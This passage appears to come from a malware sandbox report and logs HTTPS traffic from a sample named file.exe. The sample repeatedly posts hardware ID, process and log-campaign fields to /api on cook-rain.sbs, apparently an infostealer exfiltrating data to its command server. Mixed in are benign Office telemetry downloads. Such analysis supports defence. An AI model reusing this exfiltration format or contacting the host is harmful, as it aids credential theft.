2024-11-18 19:21:14 UTC	12787	OUT	Data Raw: 2d 2d 4b 57 56 39 31 56 4b 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 42 36 35 44 38 45 44 30 46 45 43 34 38 44 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4b 57 56 39 31 56 4b 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 57 56 39 31 56 4b 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4b 57 56 39 31 56 4b 41 49 0d 0a 43 6f 6e 74 65 6e Data Ascii: --KWV91VKAIContent-Disposition: form-data; name="hwid"FBB65D8ED0FEC48D63CFCF7E6C45F838--KWV91VKAIContent-Disposition: form-data; name="pid"2--KWV91VKAIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--KWV91VKAIConten
2024-11-18 19:21:15 UTC	981	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mds67aimbe2th5177ah4hpd1q9; expires=Fri, 14-Mar-2025 13:07:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Foz77dolGgN9lW20txAlHw1lB9Mll0I3lm82gpAjNZQXXvtXT7b0BAQzaUOae6RxV61f1ZMT%2F3wUdGbX3uoXCytOtQz%2BIxrPGSE%2BSyYqezzG9B24ryC9QDK5pby5VHyP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a52881ccccfb4-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=43654&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13715&delivery_rate=66133&cwnd=32&unsent_bytes=0&cid=dba4e6ad26691787&ts=981&x=0"
2024-11-18 19:21:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 19:21:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:16 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IKCZ1H2UHVC6BRB07H8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: cook-rain.sbs
2024-11-18 19:21:16 UTC	15089	OUT	Data Raw: 2d 2d 49 4b 43 5a 31 48 32 55 48 56 43 36 42 52 42 30 37 48 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 42 36 35 44 38 45 44 30 46 45 43 34 38 44 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 49 4b 43 5a 31 48 32 55 48 56 43 36 42 52 42 30 37 48 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4b 43 5a 31 48 32 55 48 56 43 36 42 52 42 30 37 48 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --IKCZ1H2UHVC6BRB07H8Content-Disposition: form-data; name="hwid"FBB65D8ED0FEC48D63CFCF7E6C45F838--IKCZ1H2UHVC6BRB07H8Content-Disposition: form-data; name="pid"2--IKCZ1H2UHVC6BRB07H8Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 19:21:17 UTC	983	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jtah385mduioteqai34mgpks90; expires=Fri, 14-Mar-2025 13:07:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FC3nlLFE%2FBaneCEf0UaV55WjA3rNnJGa5zQmLBZg8btGYwWWV1KW9ORW%2Bg4ZEfJ8jHspQMWY89XlWkSTPWJgM0tgR5g4RmfE44GUPm3IMXltsPoz5LykUb12N%2FFYV5es"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a52960b50874f-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24595&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16027&delivery_rate=117752&cwnd=32&unsent_bytes=0&cid=9296121c6081c0f6&ts=779&x=0"
2024-11-18 19:21:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 19:21:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:18 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HU8M2C0TULU82 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: cook-rain.sbs
2024-11-18 19:21:18 UTC	15331	OUT	Data Raw: 2d 2d 48 55 38 4d 32 43 30 54 55 4c 55 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 42 36 35 44 38 45 44 30 46 45 43 34 38 44 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 48 55 38 4d 32 43 30 54 55 4c 55 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 55 38 4d 32 43 30 54 55 4c 55 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 55 38 4d 32 Data Ascii: --HU8M2C0TULU82Content-Disposition: form-data; name="hwid"FBB65D8ED0FEC48D63CFCF7E6C45F838--HU8M2C0TULU82Content-Disposition: form-data; name="pid"3--HU8M2C0TULU82Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HU8M2
2024-11-18 19:21:18 UTC	5212	OUT	Data Raw: 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-11-18 19:21:19 UTC	986	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a93mcjq8eace0qqp2c5ivt9ccl; expires=Fri, 14-Mar-2025 13:07:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YdEbmigA%2FG1dBvpP8DjDE59kOVBpLTGmQblR%2BzzJahFxOUDAzgdM25d1Uyd957x%2F1ExOz4IzsDqAoWxMJ2W41fM6EYmz9mOU903TdzviKGGXzoXy0XAAK95orWIAY0c%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a52a0898c2cb8-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24639&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21497&delivery_rate=117632&cwnd=32&unsent_bytes=0&cid=09b92c10fa8c8fb9&ts=1457&x=0"
2024-11-18 19:21:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 19:21:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:21 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OHFTU7WZL0IW1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1215 Host: cook-rain.sbs
2024-11-18 19:21:21 UTC	1215	OUT	Data Raw: 2d 2d 4f 48 46 54 55 37 57 5a 4c 30 49 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 42 36 35 44 38 45 44 30 46 45 43 34 38 44 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4f 48 46 54 55 37 57 5a 4c 30 49 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 48 46 54 55 37 57 5a 4c 30 49 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 48 46 54 55 Data Ascii: --OHFTU7WZL0IW1Content-Disposition: form-data; name="hwid"FBB65D8ED0FEC48D63CFCF7E6C45F838--OHFTU7WZL0IW1Content-Disposition: form-data; name="pid"1--OHFTU7WZL0IW1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--OHFTU
2024-11-18 19:21:21 UTC	988	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=299n44537rmdaef766ll5itrci; expires=Fri, 14-Mar-2025 13:08:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CfL5vluGcBwLTwiZNcK%2F%2Fd71pgA4PEV5lbQDnLbQTqSGV2yJ7nLQ%2BUrn4UGdf3r8HumfHY094t%2BA3kzXVdzUX0ikmlqm%2ByD5ZMYrqWEF0sGDLC91Z2ehYY%2B%2F78OBLLsf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a52b52f1beae8-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23727&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2124&delivery_rate=121952&cwnd=32&unsent_bytes=0&cid=f0256acefbc047c8&ts=567&x=0"
2024-11-18 19:21:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 19:21:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:22 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192122Z-16547b76f7fwcwmrhC1DFWtp04000000020000000000w2hc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:22 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 19:21:22 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-18 19:21:22 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
